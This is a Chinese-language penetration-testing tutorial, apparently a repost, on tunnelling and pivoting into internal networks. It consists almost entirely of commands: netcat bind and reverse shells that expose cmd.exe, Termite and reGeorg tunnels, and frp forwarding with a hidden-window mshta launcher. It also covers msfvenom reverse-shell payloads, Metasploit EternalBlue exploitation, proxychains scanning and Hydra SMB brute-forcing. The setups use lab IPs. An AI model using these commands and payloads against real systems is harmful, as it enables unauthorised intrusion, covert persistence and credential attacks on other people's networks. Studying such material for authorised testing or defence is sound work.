文章来源:安全鸭
利用代理工具将内网的流量代理到本地进行访问,这样就可以对内网进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议),工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:
SOCKS4支持TELNET、FTP、HTTP等TCP协议;
SOCKS5支持TCP与UDP,并支持安全认证方案
代理一般分为正向代理和反向代理两类:
正向代理:已控服务器监听端口,通过这个端口形成一个正向的隧道,由代理机器代替主机去访问内网目标。但是内网入口一般处于DMZ区域有防火墙拦截,无法直接进入内网环境。
反向代理:由内网主机主动交出权限到代理机器,然后本地去连接形成反向代理。例如:VPS监听本地端口,已控内网服务器来连接此端口,形成一个隧道。如果内网设备连接外网,就无法回弹只能再想其他办法。
2.NetCat
http://netcat.sourceforge.net/
nc -l -p 5555 -t -e cmd.exe
# -t是通过telnet模式执行 cmd.exe 程序,可省略
nc -nvv 192.168.1.98 5555
nc -lp 5555
nc -t -e cmd.exe 192.168.1.4 5555
nc -vz -w 2 192.168.1.10 9999
# -v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字
#服务器启动监听,将9995端口接收到的数据都写到test文件里
nc -l -p 9995 > test
#本地往服务器的9995端口发送数据
nc 192.168.1.4 9995 < 1.txt
#本地启动文件发送命令,通过9992端口发送文件
nc -l -p 9992 < 1.php
#服务器执行命令下载192.168.1.10:9992端口文件,并把文件存到当前目录文件夹2.php
nc 192.168.1.10 9992 >2.php
#开启监听
nc -l -p 12345
#连接。形成不加密聊天室
nc 192.168.1.10 12345
#软件作者教学视频:
http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4
http://rootkiter.com/toolvideo/toolmp4/2socks.mp4
http://rootkiter.com/toolvideo/toolmp4/3lcxtran.mp4
http://rootkiter.com/toolvideo/toolmp4/4shell.mp4
http://rootkiter.com/toolvideo/toolmp4/5file.mp4
#项目地址:
http://rootkiter.com/Termite
-l 指定本地socks端口,等待远程连接
-c 指定远程socks机器ip
-p 指定远程socks机器端口
agent_win32.exe -l 6666
agent_win32.exe -l 7777
agent_win32.exe -l 8888
admin_Win32.exe -c 192.168.1.10 -p 6666
#连接win08成功后查看连接的隧道会话
show
#进入08的会话
goto 1
#连接win 7
connect 192.168.106.129 7777
#进去win7的会话
goto 2
#连接xp
connect 169.254.228.204 8888
# 传送文件。将本地c:\unintall.log文件传送到目标服务器命名为1.txt
goto 5
upfile c:\unintall.log 1.txt
#调用shell,将目标机器cmd shell转发到本地12345端口
shell 12345
#nc连接,得到cmdshell
nc 127.0.0.1 12345
#端口转发。将目标3389转发到本地1189,然后mstsc连接127.0.0.1:1189。注意多级转发会造成流量拥堵,流量可能出不来
lcxtran 1189 192.168.1.10 3389
#socket代理
#配合proxychains驱动本地软件对内网进行扫描,由本地1080将流量转发到内网
socks 1080
#win7保持监听
agent_Win32.exe -l 7777
#xp反向连接到win7
agent_Win32.exe -c 169.254.75.233 -p 7777
#win8保持监听
agent_Win32.exe -l 6666
#win7反向连接08
agent_Win32.exe -c 192.168.106.128 -p 6666
#此时xp、win7都已经主动上交了权限,物理机控制08就可以直接建立隧道
admin_Win32.exe -c 192.168.1.10 -p 6666
#反向连接用户穿透防火墙
5.reGeorg+Proxychains
项目地址:https://github.com/sensepost/reGeorg
python2 reGeorgSocksProxy.py -p 12345 -u http://192.168.1.10:8001/tunnel.aspx
确认端口开启:
vi /etc/proxychains.conf
#修改代理端口为12345
proxychains rdesktop 192.168.1.10
#项目地址:
https://github.com/fatedier/frp/releases
#frpc客户端,frps服务端
#实验环境
kali:192.168.1.3
win08:192.168.1.10
wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_386.tar.gz
tar -zxvf frp_0.33.0_darwin_amd64.tar.gz
[common]
bind_port = 7000
dashboard_port = 7500
token = 123.com
dashboard_user = admin
dashboard_pwd = admin
bind_port表示用于客户端和服务端连接的端口
dashboard_port是服务端仪表板的端口
token是用于客户端和服务端连接的口令
dashboard_user、dashboard_pwd分别表示打开仪表板页面登录的用户名和密码
./frps -c ./frps.ini
#也可以使用nohup命令将其运行在后台
nohup ./frps -c frps.ini &
7.1.2 客户端设置
[common]
#服务端IP
server_addr = 192.168.1.3
#服务端端口
server_port = 7000
#token值
token = 123.com
[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7001
[smb]
type = tcp
local_ip = 127.0.0.1
local_port = 445
remote_port = 7002
cd C:\frp
frpc.exe -c frpc.ini
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM
cd C:\frp
frpc.exe -c frpc.ini
exit
通过配置已经将内网的3389端口转发到vps的7001端口。此时远程连接vps的7001即可远程连接内网的3389主机:
#环境:
kali:192.168.109.128
Win2008:192.168.1.10
vps:x.x.x.x
#frp服务端与客户端连接端口,frps和frpc必须一致
bind_port = 7000
./frps -c ./frps.ini
[common]
server_addr = x.x.x.x #你的云主机ip
server_port = 7000 # frpc工作端口,必须和上面frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5000 #转发给本机的5000
remote_port = 6000 #服务端用6000端口转发给本机
./frpc -c ./frpc.ini
⑤连接成功
msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=6000 x-f exe x>frp.exe
#注意:
lhost:必需设置为vps服务端ip
lport:设置你在frpc.ini的remote_port = 6000
⑦msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1#设置监听ip,必须和frpc中的local_ip 一致
set lport 5000 #设置监听端口,与frpc中的local_port一致
run
#参考文章:
https://blog.csdn.net/qq_38228830/article/details/85955955
①假设kali无法访问Win08(实际kali为nat模式是可以访问所有网段的)
②利用红帽进行端口转发使kali能够访问到Windows 2008
ssh -L 192.168.198.128:8001:192.168.1.10:8001 [email protected] -p 22
#-L后面的IP是kali本地IP,可省略不写
#当跳板机红帽的ssh端口为默认端口22时,也可省略不写
#需要知道红帽的账号及密码
/etc/init.d/apache2 start
ssh -R 192.168.106.131:8001:127.0.0.1:80 root@192.168.198.131 -p 22
#如果SSH服务器默认ssh端口为22,则"-p 22"可省略
#需要知道红帽的账号及密码
此时的红帽127.0.0.1:8080已经是kali的http服务
ssh -D 8081 [email protected] -p 22
vi /etc/proxychains.conf
#修改代理端口为8081
proxychains nmap 192.168.1.1/24
#使用proxychains工具驱动nmap扫描内网。通过socks代理扫描到本身扫描不到的内网网段
①生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.5 lport=1122 -f exe >test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.5
set lport 1122
run
run autoroute -s 192.168.75.0/24
run post/windows/gather/arp_scanner RHOSTS=192.168.75.0/24
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.75.131
#因为直连没有返回的流量所以不能用默认的reverse payload。
#直连是在目标上面开一个端口然后本地去连接
set payload windows/x64/meterpreter/bind_tcp
run
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.75.132
set payload windows/meterpreter/bind_tcp
run
#对75网段进行全端口扫描
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.75.131
set ports 1-65535
setg threads 50
run
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set rport 1080 #注意避免端口冲突
run
查看端口,成功启用代理:
配置代理
vi /etc/proxychains.conf
socks4 127.0.0.1 1080
Nmap扫描
#nmap扫描
proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.75.131
proxychains nmap -sT -sV -Pn -n -p 445 --script=smb-vuln-ms* 192.168.75.131
#配置路由
run autoroute -s 192.168.76.0/24
#验证能否连接
run post/windows/gather/arp_scanner RHOSTS=192.168.76.0/2
#设置代理
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 1081 #注意避免端口冲突
run
# 配置代理,要在1080端口下面再配置一个socket代理子啊1081端口上
vi /etc/proxychains.conf
socks4 127.0.0.1 1080
socks4 127.0.0.1 1081
#nmap扫描,这里建立了两层链路。从127.0.0.1:1080>127.0.0.1:1081>192.168.76.*
proxychains nmap -sT -sV -Pn -n -p 1-3389 192.168.76.1/24
Hydra爆破
proxychains hydra -l admin -P pass.txt -f 192.168.75.131 smb
portfwd add -L 192.168.1.5 -l 33890 -r 192.168.75.131 -p 3389
②.远程连接
rdesktop 192.168.1.5:33890
也可以不使用端口转发直接连接:
#linux远程登录
proxychains ssh root@192.168.75.131